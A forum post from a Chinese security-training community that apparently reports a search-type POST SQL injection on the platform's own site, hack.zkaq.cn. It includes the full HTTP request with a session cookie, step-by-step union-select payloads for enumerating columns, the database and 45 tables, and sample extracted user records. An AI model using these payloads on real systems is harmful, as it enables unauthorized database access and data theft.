掌控安全搜索型sql注入- Track 知识社区 - 掌控安全在线教育

漏洞类型：搜索型POST注入
漏洞链接：https://hack.zkaq.cn/cases#
注入点：lst=
数据包：

POST /api/getCatalog HTTP/1.1
Host: hack.zkaq.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26
Origin: https://hack.zkaq.cn
Connection: close
Referer: https://hack.zkaq.cn/cases
Cookie: UM_distinctid=1787ec9d6ce12f-0c0cb7b3626fe08-4c3f237d-144000-1787ec9d6cfb4e; CNZZDATA1274101648=1416450823-1617033020-https%253A%252F%252Fhack.zkaq.cn%252F%7C1629390203; PHPSESSID=u256j9lj6n5996b751mmoq423f
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
lst=%25' +--+-

首先判断注入点，在漏洞复现页面的搜索框输入%’ and 1=1 — -页面显示正常，输入%’ and 1=2 — -页面显示未找到数据

使用联合查询注入
先判断字段数%’ order by 6 — -页面返回正常

然后判断显示位%’ union select 11111,22222,33333,44444,55555,66666 — -,得到显示位

然后暴出当前用户和当前数据库%’ union select user(),22222,33333,44444,55555,database() — -

然后暴出当前数据库中所有表，由于这里有长度限制，没办法一下暴出来，需要使用limit分页才能获得剩下的表

limit分页获取剩下的表名，一共有45个表

然后暴字段

然后成功获取数据

用户名	金币	时间	理由
honky	0.10	2021-09-09 17:05:21	一个受益终生的帖子~~
honky	0.10	2021-09-09 17:05:26	一个受益终生的帖子~~
honky	5.00	2021-09-09 17:05:27	一个受益终生的帖子~~
奖励系统	50.00	2021-09-04 16:04:35	投稿满 5 赞奖励
Track-聂风	4500.00	2021-08-24 14:02:14	靶场漏洞特别打赏